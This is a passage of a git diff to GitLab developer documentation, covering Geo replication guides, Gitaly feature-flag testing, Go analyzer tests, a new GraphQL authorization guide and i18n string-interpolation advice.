- add_text_limit :widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
- end
-
- def down
- remove_check_constraint(:widget, CONSTRAINT_NAME)
- end
- end
- ```
-
-1. Add indexes on verification fields to ensure verification can be performed efficiently:
-
- Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are unsure.
-
- ```ruby
- # frozen_string_literal: true
-
- class AddVerificationIndexesToWidgets < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
- VERIFICATION_STATE_INDEX_NAME = "index_widgets_verification_state"
- PENDING_VERIFICATION_INDEX_NAME = "index_widgets_pending_verification"
- FAILED_VERIFICATION_INDEX_NAME = "index_widgets_failed_verification"
- NEEDS_VERIFICATION_INDEX_NAME = "index_widgets_needs_verification"
-
- disable_ddl_transaction!
-
- def up
- add_concurrent_index :widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
- add_concurrent_index :widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
- add_concurrent_index :widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
- add_concurrent_index :widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
- end
-
- def down
- remove_concurrent_index_by_name :widgets, VERIFICATION_STATE_INDEX_NAME
- remove_concurrent_index_by_name :widgets, PENDING_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :widgets, FAILED_VERIFICATION_INDEX_NAME
- remove_concurrent_index_by_name :widgets, NEEDS_VERIFICATION_INDEX_NAME
- end
- end
- ```
-
-1. Add the `Gitlab::Geo::VerificationState` concern to the `widget` model if it is not already included in `Gitlab::Geo::ReplicableModel`:
-
- ```ruby
- class Widget < ApplicationRecord
- ...
- include ::Gitlab::Geo::VerificationState
- ...
- end
- ```
-
-##### Option 2: Create a separate `widget_states` table with verification state fields
-
-1. Create a `widget_states` table and add an index on `verification_state` to ensure verification can be performed efficiently. Order the columns according to [the guidelines](../ordering_table_columns.md):
-
- ```ruby
- # frozen_string_literal: true
-
- class CreateWidgetStates < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- unless table_exists?(:widget_states)
- with_lock_retries do
- create_table :widget_states, id: false do |t|
- t.references :widget, primary_key: true, null: false, foreign_key: { on_delete: :cascade }
- t.integer :verification_state, default: 0, limit: 2, null: false
- t.column :verification_started_at, :datetime_with_timezone
- t.datetime_with_timezone :verification_retry_at
- t.datetime_with_timezone :verified_at
- t.integer :verification_retry_count, limit: 2
- t.binary :verification_checksum, using: 'verification_checksum::bytea'
- t.text :verification_failure
-
- t.index :verification_state, name: "index_widget_states_on_verification_state"
- end
- end
- end
-
- add_text_limit :widget_states, :verification_failure, 255
- end
-
- def down
- drop_table :widget_states
- end
- end
- ```
-
-1. Add the following lines to the `widget_state.rb` model:
-
- ```ruby
- class WidgetState < ApplicationRecord
- ...
- self.primary_key = :widget_id
-
- include ::Gitlab::Geo::VerificationState
-
- belongs_to :widget, inverse_of: :widget_state
- ...
- end
- ```
-
-1. Add the following lines to the `widget` model:
-
- ```ruby
- class Widget < ApplicationRecord
- ...
- has_one :widget_state, inverse_of: :widget
-
- delegate :verification_retry_at, :verification_retry_at=,
- :verified_at, :verified_at=,
- :verification_checksum, :verification_checksum=,
- :verification_failure, :verification_failure=,
- :verification_retry_count, :verification_retry_count=,
- to: :widget_state
- ...
- end
- ```
-
-To do: Add verification on secondaries. This should be done as part of
-[Geo: Self Service Framework - First Implementation for Package File verification](https://gitlab.com/groups/gitlab-org/-/epics/1817)
-
-Widgets should now be verified by Geo.
-
-#### Metrics
-
-Metrics are gathered by `Geo::MetricsUpdateWorker`, persisted in
-`GeoNodeStatus` for display in the UI, and sent to Prometheus:
-
-1. Add fields `widgets_count`, `widgets_checksummed_count`,
- `widgets_checksum_failed_count`, `widgets_synced_count`,
- `widgets_failed_count`, and `widgets_registry_count` to
- `GET /geo_nodes/status` example response in
- `doc/api/geo_nodes.md`.
-1. Add the same fields to `GET /geo_nodes/status` example response in
- `ee/spec/fixtures/api/schemas/public_api/v4/geo_node_status.json`.
-1. Add fields `geo_widgets`, `geo_widgets_checksummed`,
- `geo_widgets_checksum_failed`, `geo_widgets_synced`,
- `geo_widgets_failed`, and `geo_widgets_registry` to
- `Sidekiq metrics` table in
- `doc/administration/monitoring/prometheus/gitlab_metrics.md`.
-1. Add the following to the parameterized table in
- `ee/spec/models/geo_node_status_spec.rb`:
-
- ```ruby
- Geo::WidgetReplicator | :widget | :geo_widget_registry
- ```
-
-1. Add the following to `spec/factories/widgets.rb`:
-
- ```ruby
- trait(:verification_succeeded) do
- with_file
- verification_checksum { 'abc' }
- verification_state { Widget.verification_state_value(:verification_succeeded) }
- end
-
- trait(:verification_failed) do
- with_file
- verification_failure { 'Could not calculate the checksum' }
- verification_state { Widget.verification_state_value(:verification_failed) }
- end
- ```
-
-1. Make sure the factory also allows setting a `project` attribute. If the model
- does not have a direct relation to a project, you can use a `transient`
- attribute. Check out `spec/factories/merge_request_diffs.rb` for an example.
-
-Widget replication and verification metrics should now be available in the API,
-the Admin Area UI, and Prometheus.
-
-#### GraphQL API
-
-1. Add a new field to `GeoNodeType` in
- `ee/app/graphql/types/geo/geo_node_type.rb`:
-
- ```ruby
- field :widget_registries, ::Types::Geo::WidgetRegistryType.connection_type,
- null: true,
- resolver: ::Resolvers::Geo::WidgetRegistriesResolver,
- description: 'Find widget registries on this Geo node',
- feature_flag: :geo_widget_replication
- ```
-
-1. Add the new `widget_registries` field name to the `expected_fields` array in
- `ee/spec/graphql/types/geo/geo_node_type_spec.rb`.
-1. Create `ee/app/graphql/resolvers/geo/widget_registries_resolver.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- module Resolvers
- module Geo
- class WidgetRegistriesResolver < BaseResolver
- include RegistriesResolver
- end
- end
- end
- ```
-
-1. Create `ee/spec/graphql/resolvers/geo/widget_registries_resolver_spec.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Resolvers::Geo::WidgetRegistriesResolver do
- it_behaves_like 'a Geo registries resolver', :geo_widget_registry
- end
- ```
-
-1. Create `ee/app/finders/geo/widget_registry_finder.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- module Geo
- class WidgetRegistryFinder
- include FrameworkRegistryFinder
- end
- end
- ```
-
-1. Create `ee/spec/finders/geo/widget_registry_finder_spec.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Geo::WidgetRegistryFinder do
- it_behaves_like 'a framework registry finder', :geo_widget_registry
- end
- ```
-
-1. Create `ee/app/graphql/types/geo/widget_registry_type.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- module Types
- module Geo
- # rubocop:disable Graphql/AuthorizeTypes because it is included
- class WidgetRegistryType < BaseObject
- include ::Types::Geo::RegistryType
-
- graphql_name 'WidgetRegistry'
- description 'Represents the Geo sync and verification state of a widget'
-
- field :widget_id, GraphQL::ID_TYPE, null: false, description: 'ID of the Widget'
- end
- end
- end
- ```
-
-1. Create `ee/spec/graphql/types/geo/widget_registry_type_spec.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe GitlabSchema.types['WidgetRegistry'] do
- it_behaves_like 'a Geo registry type'
-
- it 'has the expected fields (other than those included in RegistryType)' do
- expected_fields = %i[widget_id]
-
- expect(described_class).to have_graphql_fields(*expected_fields).at_least
- end
- end
- ```
-
-1. Add integration tests for providing Widget registry data to the frontend via
- the GraphQL API, by duplicating and modifying the following shared examples
- in `ee/spec/requests/api/graphql/geo/registries_spec.rb`:
-
- ```ruby
- it_behaves_like 'gets registries for', {
- field_name: 'widgetRegistries',
- registry_class_name: 'WidgetRegistry',
- registry_factory: :geo_widget_registry,
- registry_foreign_key_field_name: 'widgetId'
- }
- ```
-
-1. Update the GraphQL reference documentation:
-
- ```shell
- bundle exec rake gitlab:graphql:compile_docs
- ```
-
-Individual widget synchronization and verification data should now be available
-via the GraphQL API.
-
-Make sure to replicate the "update" events. Geo Framework does not currently support
-replicating "update" events because all entities added to the framework, by this time,
-are immutable. If this is the case
-for the entity you're going to add, follow <https://gitlab.com/gitlab-org/gitlab/-/issues/118743>
-and <https://gitlab.com/gitlab-org/gitlab/-/issues/118745> as examples to add the new event type.
-Also, remove this notice when you've added it.
-
-#### Admin UI
-
-To do: This should be done as part of
-[Geo: Implement frontend for Self-Service Framework replicables](https://gitlab.com/groups/gitlab-org/-/epics/2525)
-
-Widget sync and verification data (aggregate and individual) should now be
-available in the Admin UI.
-
-#### Releasing the feature
-
-1. In `ee/config/feature_flags/development/geo_widget_replication.yml`, set `default_enabled: true`
-
-1. In `ee/app/replicators/geo/widget_replicator.rb`, delete the `self.replication_enabled_by_default?` method:
-
- ```ruby
- module Geo
- class WidgetReplicator < Gitlab::Geo::Replicator
- ...
-
- # REMOVE THIS METHOD
- def self.replication_enabled_by_default?
- false
- end
- # REMOVE THIS METHOD
-
- ...
- end
- end
- ```
-
-1. In `ee/app/graphql/types/geo/geo_node_type.rb`, remove the `feature_flag` option for the released type:
-
- ```ruby
- field :widget_registries, ::Types::Geo::WidgetRegistryType.connection_type,
- null: true,
- resolver: ::Resolvers::Geo::WidgetRegistriesResolver,
- description: 'Find widget registries on this Geo node',
- feature_flag: :geo_widget_replication # REMOVE THIS LINE
- ```
+To implement Geo replication of a new blob-type Model, [open an issue with the provided issue template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%3A%20Replicate%20a%20new%20blob%20type).
### Repository Replicator Strategy
-Models that refer to any repository on the disk
-can be easily supported by Geo with the `Geo::RepositoryReplicatorStrategy` module.
-
-For example, to add support for files referenced by a `Gizmos` model with a
-`gizmos` table, you would perform the following steps.
-
-#### Replication
-
-1. Include `Gitlab::Geo::ReplicableModel` in the `Gizmo` class, and specify
- the Replicator class `with_replicator Geo::GizmoReplicator`.
-
- At this point the `Gizmo` class should look like this:
-
- ```ruby
- # frozen_string_literal: true
-
- class Gizmo < ApplicationRecord
- include ::Gitlab::Geo::ReplicableModel
-
- with_replicator Geo::GizmoReplicator
-
- # @param primary_key_in [Range, Gizmo] arg to pass to primary_key_in scope
- # @return [ActiveRecord::Relation<Gizmo>] everything that should be synced to this node, restricted by primary key
- def self.replicables_for_current_secondary(primary_key_in)
- # Should be implemented. The idea of the method is to restrict
- # the set of synced items depending on synchronization settings
- end
-
- # Geo checks this method in FrameworkRepositorySyncService to avoid
- # snapshotting repositories using object pools
- def pool_repository
- nil
- end
- ...
- end
- ```
-
- Pay some attention to method `pool_repository`. Not every repository type uses
- repository pooling. As Geo prefers to use repository snapshotting, it can lead to data loss.
- Make sure to overwrite `pool_repository` so it returns nil for repositories that do not
- have pools.
-
- If there is a common constraint for records to be available for replication,
- make sure to also overwrite the `available_replicables` scope.
-
-1. Create `ee/app/replicators/geo/gizmo_replicator.rb`. Implement the
- `#repository` method which should return a `<Repository>` instance,
- and implement the class method `.model` to return the `Gizmo` class:
-
- ```ruby
- # frozen_string_literal: true
-
- module Geo
- class GizmoReplicator < Gitlab::Geo::Replicator
- include ::Geo::RepositoryReplicatorStrategy
-
- def self.model
- ::Gizmo
- end
-
- def repository
- model_record.repository
- end
-
- def self.git_access_class
- ::Gitlab::GitAccessGizmo
- end
-
- # The feature flag follows the format `geo_#{replicable_name}_replication`,
- # so here it would be `geo_gizmo_replication`
- def self.replication_enabled_by_default?
- false
- end
- end
- end
- ```
-
-1. Generate the feature flag definition file by running the feature flag command
- and running through the steps:
-
- ```shell
- bin/feature-flag --ee geo_gizmo_replication --type development --group 'group::geo'
- ```
-
-1. Make sure Geo push events are created. Usually it needs some
- change in the `app/workers/post_receive.rb` file. Example:
-
- ```ruby
- def replicate_gizmo_changes(gizmo)
- if ::Gitlab::Geo.primary?
- gizmo.replicator.handle_after_update if gizmo
- end
- end
- ```
-
- See `app/workers/post_receive.rb` for more examples.
-
-1. Make sure the repository removal is also handled. You may need to add something
- like the following in the destroy service of the repository:
-
- ```ruby
- gizmo.replicator.handle_after_destroy if gizmo.repository
- ```
-
-1. Add this replicator class to the method `replicator_classes` in
- `ee/lib/gitlab/geo.rb`:
-
- ```ruby
- REPLICATOR_CLASSES = [
- ...
- ::Geo::PackageFileReplicator,
- ::Geo::GizmoReplicator
- ]
- end
- ```
-
-1. Create `ee/spec/replicators/geo/gizmo_replicator_spec.rb` and perform
- the necessary setup to define the `model_record` variable for the shared
- examples:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Geo::GizmoReplicator do
- let(:model_record) { build(:gizmo) }
-
- include_examples 'a repository replicator'
- end
- ```
-
-1. Create the `gizmo_registry` table, with columns ordered according to [our guidelines](../ordering_table_columns.md) so Geo secondaries can track the sync and
- verification state of each Gizmo. This migration belongs in `ee/db/geo/migrate`:
-
- ```ruby
- # frozen_string_literal: true
-
- class CreateGizmoRegistry < ActiveRecord::Migration[6.0]
- include Gitlab::Database::MigrationHelpers
-
- DOWNTIME = false
-
- disable_ddl_transaction!
-
- def up
- create_table :gizmo_registry, id: :bigserial, force: :cascade do |t|
- t.datetime_with_timezone :retry_at
- t.datetime_with_timezone :last_synced_at
- t.datetime_with_timezone :created_at, null: false
- t.bigint :gizmo_id, null: false
- t.integer :state, default: 0, null: false, limit: 2
- t.integer :retry_count, default: 0, limit: 2
- t.string :last_sync_failure, limit: 255
- t.boolean :force_to_redownload
- t.boolean :missing_on_primary
-
- t.index :gizmo_id, name: :index_gizmo_registry_on_gizmo_id, unique: true
- t.index :retry_at
- t.index :state
- end
- end
-
- def down
- drop_table :gizmo_registry
- end
- end
- ```
-
-1. Create `ee/app/models/geo/gizmo_registry.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- class Geo::GizmoRegistry < Geo::BaseRegistry
- include Geo::ReplicableRegistry
-
- MODEL_CLASS = ::Gizmo
- MODEL_FOREIGN_KEY = :gizmo_id
-
- belongs_to :gizmo, class_name: 'Gizmo'
- end
- ```
-
-1. Update `REGISTRY_CLASSES` in `ee/app/workers/geo/secondary/registry_consistency_worker.rb`.
-1. Add `gizmo_registry` to `ActiveSupport::Inflector.inflections` in `config/initializers_before_autoloader/000_inflections.rb`.
-1. Create `ee/spec/factories/geo/gizmo_registry.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- FactoryBot.define do
- factory :geo_gizmo_registry, class: 'Geo::GizmoRegistry' do
- gizmo
- state { Geo::GizmoRegistry.state_value(:pending) }
-
- trait :synced do
- state { Geo::GizmoRegistry.state_value(:synced) }
- last_synced_at { 5.days.ago }
- end
-
- trait :failed do
- state { Geo::GizmoRegistry.state_value(:failed) }
- last_synced_at { 1.day.ago }
- retry_count { 2 }
- last_sync_failure { 'Random error' }
- end
-
- trait :started do
- state { Geo::GizmoRegistry.state_value(:started) }
- last_synced_at { 1.day.ago }
- retry_count { 0 }
- end
- end
- end
- ```
-
-1. Create `ee/spec/models/geo/gizmo_registry_spec.rb`:
-
- ```ruby
- # frozen_string_literal: true
-
- require 'spec_helper'
-
- RSpec.describe Geo::GizmoRegistry, :geo, type: :model do
- let_it_be(:registry) { create(:geo_gizmo_registry) }
-
- specify 'factory is valid' do
- expect(registry).to be_valid
- end
-
- include_examples 'a Geo framework registry'
- end
- ```
-
-1. Make sure the newly added repository type can be accessed by a secondary.
- You may need to make some changes to one of the Git access classes.
-
- Gizmos should now be replicated by Geo.
-
-#### Metrics
-
-You need to make the same changes as for Blob Replicator Strategy.
-You need to make the same changes for the [metrics as in the Blob Replicator Strategy](#metrics).
-
-#### GraphQL API
-
-You need to make the same changes for the GraphQL API [as in the Blob Replicator Strategy](#graphql-api).
+Models that refer to any Git repository on disk are supported by Geo with the `Geo::RepositoryReplicatorStrategy` module. For example, see how [Geo replication was implemented for Group-level Wikis](https://gitlab.com/gitlab-org/gitlab/-/issues/208147). Note that this issue does not implement verification, since verification of Git repositories was not yet added to the Geo self-service framework. An example implementing verification can be found in the merge request to [Add Snippet repository verification](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56596).
-#### Releasing the feature
+Each Git repository is expected to have its own primary ID and model.
-You need to make the same changes for [releasing the feature as in the Blob Replicator Strategy](#releasing-the-feature).
+To implement Geo replication of a new Git repository-type Model, [open an issue with the provided issue template](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Geo%3A%20Replicate%20a%20new%20Git%20repository%20type).
diff --git a/doc/development/gitaly.md b/doc/development/gitaly.md
index 87b9d35f99b..2e814a9c41b 100644
--- a/doc/development/gitaly.md
+++ b/doc/development/gitaly.md
@@ -303,16 +303,19 @@ Here are the steps to gate a new feature in Gitaly behind a feature flag.
### GitLab Rails
-1. Test in a Rails console by setting the feature flag:
+Test in a Rails console by setting the feature flag:
- NOTE:
- Pay attention to the name of the flag and the one used in the Rails console.
- There is a difference between them (dashes replaced by underscores and name
- prefix is changed). Make sure to prefix all flags with `gitaly_`.
+```ruby
+Feature.enable('gitaly_go_find_all_tags')
+```
- ```ruby
- Feature.enable('gitaly_go_find_all_tags')
- ```
+Pay attention to the name of the flag and the one used in the Rails console. There is a difference
+between them (dashes replaced by underscores and name prefix is changed). Make sure to prefix all
+flags with `gitaly_`.
+
+NOTE:
+If not set in GitLab, feature flags are read as false from the console and Gitaly uses their
+default value. The default value depends on the GitLab version.
### Testing with GDK
diff --git a/doc/development/go_guide/index.md b/doc/development/go_guide/index.md
index 745ec50bdcd..e8c0c751af9 100644
--- a/doc/development/go_guide/index.md
+++ b/doc/development/go_guide/index.md
@@ -322,7 +322,7 @@ A few things to keep in mind when adding context:
- [Go 1.13 errors](https://blog.golang.org/go1.13-errors).
- [Programing with
errors](https://peter.bourgon.org/blog/2019/09/11/programming-with-errors.html).
-- [Don’t just check errors, handle them
+- [Don't just check errors, handle them
gracefully](https://dave.cheney.net/2016/04/27/dont-just-check-errors-handle-them-gracefully).
## CLIs
@@ -499,6 +499,12 @@ of the Code Review Comments page on the Go wiki for more details.
Most editors/IDEs allow you to run commands before/after saving a file, you can set it
up to run `goimports -local gitlab.com/gitlab-org` so that it's applied to every file when saving.
+### Analyzer Tests
+
+The conventional Secure [analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/) has a [`convert` function](https://gitlab.com/gitlab-org/security-products/analyzers/command/-/blob/main/convert.go#L15-17) that converts SAST/DAST scanner reports into [GitLab Security Reports](https://gitlab.com/gitlab-org/security-products/security-report-schemas). When writing tests for the `convert` function, we should make use of [test fixtures](https://dave.cheney.net/2016/05/10/test-fixtures-in-go) using a `testdata` directory at the root of the analyzer's repo. The `testdata` directory should contain two subdirectories: `expect` and `reports`. The `reports` directory should contain sample SAST/DAST scanner reports which are passed into the `convert` function during the test setup. The `expect` directory should contain the expected GitLab Security Report that the `convert` returns. See Secret Detection for an [example](https://gitlab.com/gitlab-org/security-products/analyzers/secrets/-/blob/160424589ef1eed7b91b59484e019095bc7233bd/convert_test.go#L13-66).
+
+If the scanner report is small, less than 35 lines, then feel free to [inline the report](https://gitlab.com/gitlab-org/security-products/analyzers/sobelow/-/blob/8bd2428a/convert/convert_test.go#L13-77) rather than use a `testdata` directory.
+
---
[Return to Development documentation](../README.md).
diff --git a/doc/development/graphql_guide/authorization.md b/doc/development/graphql_guide/authorization.md
new file mode 100644
index 00000000000..ee5713f6fda
--- /dev/null
+++ b/doc/development/graphql_guide/authorization.md
@@ -0,0 +1,223 @@
+---
+stage: none
+group: unassigned
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GraphQL Authorization
+
+Authorizations can be applied in these places:
+
+- Types:
+ - Objects (all classes descending from `::Types::BaseObject`)
+ - Enums (all classes descending from `::Types::BaseEnum`)
+- Resolvers:
+ - Field resolvers (all classes descending from `::Types::BaseResolver`)
+ - Mutations (all classes descending from `::Types::BaseMutation`)
+- Fields (all fields declared using the `field` DSL method)
+
+Authorizations cannot be specified for abstract types (interfaces and
+unions). Abstract types delegate to their member types.
+Basic built in scalars (such as integers) do not have authorizations.
+
+Our authorization system uses the same [`DeclarativePolicy`](../policies.md)
+system as throughout the rest of the application.
+
+- For single values (such as `Query.project`), if the currently authenticated
+ user fails the authorization, the field resolves to `null`.
+- For collections (such as `Project.issues`), the collection is filtered to
+ exclude the objects that the user's authorization checks failed against. This
+ process of filtering (also known as _redaction_) happens after pagination, so
+ some pages may be smaller than the requested page size, due to redacted
+ objects being removed.
+
+Also see [authorizing resources in a mutation](../api_graphql_styleguide.md#authorizing-resources).
+
+NOTE:
+The best practice is to load only what the currently authenticated user is allowed to
+view with our existing finders first, without relying on authorization
+to filter the records. This minimizes database queries and unnecessary
+authorization checks of the loaded records. It also avoids situations,
+such as short pages, which can expose the presence of confidential resources.
+
+See [`authorization_spec.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/spec/graphql/features/authorization_spec.rb)
+for examples of all the authorization schemes discussed here.
+
+## Type authorization
+
+Authorize a type by passing an ability to the `authorize` method. All
+fields with the same type is authorized by checking that the
+currently authenticated user has the required ability.
+
+For example, the following authorization ensures that the currently
+authenticated user can only see projects that they have the
+`read_project` ability for (so long as the project is returned in a
+field that uses `Types::ProjectType`):
+
+```ruby
+module Types
+ class ProjectType < BaseObject
+ authorize :read_project
+ end
+end
+```
+
+You can also authorize against multiple abilities, in which case all of
+the ability checks must pass.
+
+For example, the following authorization ensures that the currently
+authenticated user must have `read_project` and `another_ability`
+abilities to see a project:
+
+```ruby
+module Types
+ class ProjectType < BaseObject
+ authorize [:read_project, :another_ability]
+ end
+end
+```
+
+## Resolver authorization
+
+Resolvers can have their own authorizations, which can be applied either to the
+parent object or to the resolved values.
+
+An example of a resolver that authorizes against the parent is
+`Resolvers::BoardListsResolver`, which requires that the parent
+satisfy `:read_list` before it runs.
+
+An example which authorizes against the resolved resource is
+`Resolvers::Ci::ConfigResolver`, which requires that the resolved value satisfy
+`:read_pipeline`.
+
+To authorize against the parent, the resolver must _opt in_ (because this
+was not the default value initially), by declaring this with `authorizes_object!`:
+
+```ruby
+module Resolvers
+ class MyResolver < BaseResolver
+ authorizes_object!
+
+ authorize :some_permission
+ end
+end
+```
+
+To authorize against the resolved value, the resolver must apply the
+authorization at some point, typically by using `#authorized_find!(**args)`:
+
+```ruby
+module Resolvers
+ class MyResolver < BaseResolver
+ authorize :some_permission
+
+ def resolve(**args)
+ authorized_find!(**args) # calls find_object
+ end
+
+ def find_object(id:)
+ MyThing.find(id)
+ end
+ end
+end
+```
+
+Of the two approaches, authorizing the object is more efficient, because it
+helps avoid unnecessary queries.
+
+## Field authorization
+
+Fields can be authorized with the `authorize` option.
+
+Fields authorization is checked against the current object, and
+authorization happens _before_ resolution, which means that
+fields do not have access to the resolved resource. If you need to
+apply an authorization check to a field, you probably want to add
+authorization to the resolver, or ideally to the type.
+
+For example, the following authorization ensures that the
+authenticated user must have administrator level access to the project
+to view the `secretName` field:
+
+```ruby
+module Types
+ class ProjectType < BaseObject
+ field :secret_name, ::GraphQL::STRING_TYPE, null: true, authorize: :owner_access
+ end
+end
+```
+
+In this example, we use field authorization (such as
+`Ability.allowed?(current_user, :read_transactions, bank_account)`) to avoid
+a more expensive query:
+
+```ruby
+module Types
+ class BankAccountType < BaseObject
+ field :transactions, ::Types::TransactionType.connection_type, null: true,
+ authorize: :read_transactions
+ end
+end
+```
+
+Field authorization is recommended for:
+
+- Scalar fields (strings, booleans, or numbers) that should have different levels
+ of access controls to other fields.
+- Object and collection fields where an access check can be applied to the
+ parent to save the field resolution, and avoid individual policy checks
+ on each resolved object.
+
+Field authorization does not replace object level checks, unless the object
+precisely matches the access level of the parent project. For example, issues
+can be confidential, independent of the access level of the parent. Therefore,
+we should not use field authorization for `Project.issue`.
+
+You can also authorize fields against multiple abilities. Pass the abilities
+as an array instead of as a single value:
+
+```ruby
+module Types
+ class MyType < BaseObject
+ field :hidden_field, ::GraphQL::INT_TYPE,
+ null: true,
+ authorize: [:owner_access, :another_ability]
+ end
+end
+```
+
+The field authorization on `MyType.hiddenField` implies the following tests:
+
+```ruby
+Ability.allowed?(current_user, :owner_access, object_of_my_type) &&
+ Ability.allowed?(current_user, :another_ability, object_of_my_type)
+```
+
+## Type and Field authorizations together
+
+Authorizations are cumulative. In other words, the currently authenticated
+user may need to pass authorization requirements on both a field and a field's
+type.
+
+In the following simplified example the currently authenticated user
+needs both `first_permission` on the user and `second_permission` on the
+issue to see the author of the issue.
+
+```ruby
+class UserType
+ authorize :first_permission
+end
+```
+
+```ruby
+class IssueType
+ field :author, UserType, authorize: :second_permission
+end
+```
+
+The combination of the object authorization on `UserType` and the field authorization on `IssueType.author` implies the following tests:
+
+```ruby
+Ability.allowed?(current_user, :second_permission, issue) &&
+ Ability.allowed?(current_user, :first_permission, issue.author)
+```
diff --git a/doc/development/graphql_guide/index.md b/doc/development/graphql_guide/index.md
index 4ecb34835aa..b8d4b53992e 100644
--- a/doc/development/graphql_guide/index.md
+++ b/doc/development/graphql_guide/index.md
@@ -17,6 +17,7 @@ feedback, and suggestions.
- [GraphQL API documentation style guide](../documentation/graphql_styleguide.md): documentation
style guide for GraphQL.
- [GraphQL API](../../api/graphql/index.md): user documentation for the GitLab GraphQL API.
+- [GraphQL authorization](authorization.md): guide to using authorization in GraphQL.
- [GraphQL BatchLoader](batchloader.md): development documentation on the BatchLoader.
- [GraphQL pagination](pagination.md): development documentation on pagination.
- [GraphQL Pro](graphql_pro.md): information on our GraphQL Pro subscription.
diff --git a/doc/development/i18n/externalization.md b/doc/development/i18n/externalization.md
index 90355e1cccb..0f7b8078933 100644
--- a/doc/development/i18n/externalization.md
+++ b/doc/development/i18n/externalization.md
@@ -255,7 +255,45 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
- In Vue:
- See the section on [Vue component interpolation](#vue-components-interpolation).
+ Use the [`GlSprintf`](https://gitlab-org.gitlab.io/gitlab-ui/?path=/docs/utilities-sprintf--sentence-with-link) component if:
+
+ - you need to include child components in the translation string.
+ - you need to include HTML in your translation string.
+ - you are using `sprintf` and need to pass `false` as the third argument to
+ prevent it from escaping placeholder values.
+
+ For example:
+
+ ```html
+ <gl-sprintf :message="s__('ClusterIntegration|Learn more about %{linkStart}zones%{linkEnd}')">
+ <template #link="{ content }">
+ <gl-link :href="somePath">{{ content }}</gl-link>
+ </template>
+ </gl-sprintf>
+ ```
+
+ In other cases it may be simpler to use `sprintf`, perhaps in a computed
+ property. For example:
+
+ ```html
+ <script>
+ import { __, sprintf } from '~/locale';
+
+ export default {
+ ...
+ computed: {
+ userWelcome() {
+ sprintf(__('Hello %{username}'), { username: this.user.name });
+ }
+ }
+ ...
+ }
+ </script>
+
+ <template>
+ <span>{{ userWelcome }}</span>
+ </template>
+ ```
- In JavaScript (when Vue cannot be used):
@@ -265,12 +303,10 @@ For example use `%{created_at}` in Ruby but `%{createdAt}` in JavaScript. Make s
sprintf(__('Hello %{username}'), { username: 'Joe' }); // => 'Hello Joe'
```
- If you want to use markup within the translation and are using Vue, you
- **must** use the [`gl-sprintf`](#vue-components-interpolation) component. If
- for some reason you cannot use Vue, use `sprintf` and stop it from escaping
- placeholder values by passing `false` as its third argument. You **must**
- escape any interpolated dynamic values yourself, for instance using
- `escape` from `lodash`.
+ If you need to use markup within the translation, use `sprintf` and stop it
+ from escaping placeholder values by passing `false` as its third argument.
+ You **must** escape any interpolated dynamic values yourself, for instance
+ using `escape` from `lodash`.
```javascript
import { escape } from 'lodash';
@@ -589,7 +625,7 @@ This also applies when using links in between translated sentences, otherwise th
```haml
- zones_link_url = 'https://cloud.google.com/compute/docs/regions-zones/regions-zones'
- zones_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: zones_link_url }
- = s_('ClusterIntegration|Learn more about %{zones_link_start}zones%{zones_link_end}').html_safe % { zones_link_start: zones_link_start, zones_link_end: '</a>'.html_safe }
+ = html_escape(s_('ClusterIntegration|Learn more about %{zones_link_start}zones%{zones_link_end}')) % { zones_link_start: zones_link_start, zones_link_end: '</a>'.html_safe }
```
- In Vue, instead of:
@@ -632,7 +668,7 @@ This also applies when using links in between translated sentences, otherwise th
{{
sprintf(s__("ClusterIntegration|Learn more about %{link}"), {
link: '<a href="https://cloud.google.com/compute/docs/regions-zones/regions-zones" target="_blank" rel="noopener noreferrer">zones</a>'
- })
+ }, false)
}}
```
@@ -643,7 +679,7 @@ This also applies when using links in between translated sentences, otherwise th
sprintf(s__("ClusterIntegration|Learn more about %{linkStart}zones%{linkEnd}"), {
linkStart: '<a href="https://cloud.google.com/compute/docs/regions-zones/regions-zones" target="_blank" rel="noopener noreferrer">',
linkEnd: '</a>',
- })
+ }, false)
}}
```
@@ -652,45 +688,6 @@ The reasoning behind this is that in some languages words change depending on co
When in doubt, try to follow the best practices described in this [Mozilla
Developer documentation](https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Localization_content_best_practices#Splitting).
-##### Vue components interpolation
-
-When translating UI text in Vue components, you might want to include child components inside
-the translation string.
-You could not use a JavaScript-only solution to render the translation,
-because Vue would not be aware of the child components and would render them as plain text.
-
-For this use case, you should use the `gl-sprintf` component which is maintained
-in **GitLab UI**.
-
-The `gl-sprintf` component accepts a `message` property, which is the translatable string,
-and it exposes a named slot for every placeholder in the string, which lets you include Vue
-components easily.
-
-Assume you want to print the translatable string
